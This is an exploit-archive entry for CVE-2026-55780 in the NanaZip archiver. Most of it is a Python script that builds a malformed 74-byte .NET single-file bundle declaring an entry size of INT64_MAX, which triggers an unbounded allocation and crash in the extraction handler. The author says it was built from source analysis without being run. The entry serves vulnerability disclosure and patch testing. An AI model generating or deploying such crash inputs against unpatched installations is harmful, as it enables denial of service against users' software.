NanaZip 6.5 – DoS
# Exploit Title: NanaZip 6.5 - DoS # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/M2Team/NanaZip # Software Link: https://github.com/M2Team/NanaZip/releases # Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0) # Tested on: Windows # CVE: CVE-2026-55780 # Category: dos # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract(). NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source (NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but was not executed against a running build. Benign — it only generates the malformed carrier file. --- PoC generator (GHSA-ppm9-5267-rq72.py) --- #!/usr/bin/env python3 # PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET # single-file Extract() (GHSA-ppm9-5267-rq72). # # A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10 # preceded by an int64 bundle-header offset at offset 2, then a v1 header # declaring one embedded file with Size = INT64_MAX. Extracting that entry makes # DotNetSingleFile::Extract run std::vector(Size) with no try/catch # (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across # the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.) import struct SIG = bytes([ 0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38, 0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32, 0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18, 0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae, ]) HDR = 42 # bundle header offset buf = bytearray(74) buf[0:2] = b"MZ" buf[2:10] = struct.pack("<q", HDR) # int64 header offset (read at sig-8) buf[10:42] = SIG # signature at i = 10 o = HDR struct.pack_into("<I", buf, o, 1); o += 4 # MajorVersion = 1 (<2) struct.pack_into("<I", buf, o, 0); o += 4 # MinorVersion = 0 struct.pack_into("<i", buf, o, 1); o += 4 # NumberOfEmbeddedFiles = 1 buf[o] = 0; o += 1 # BundleIdLength = 0 struct.pack_into("<q", buf, o, HDR); o += 8 # Entry.Offset (>0) struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8 # Entry.Size = INT64_MAX buf[o] = 0; o += 1 # Entry.Type = 0 buf[o] = 0x01; o += 1 # RelativePathLength = 1 buf[o] = ord("a"); o += 1 # RelativePath = "a" with open("poc.bundle", "wb") as f: f.write(buf) print(len(buf), "bytes ->", "poc.bundle") |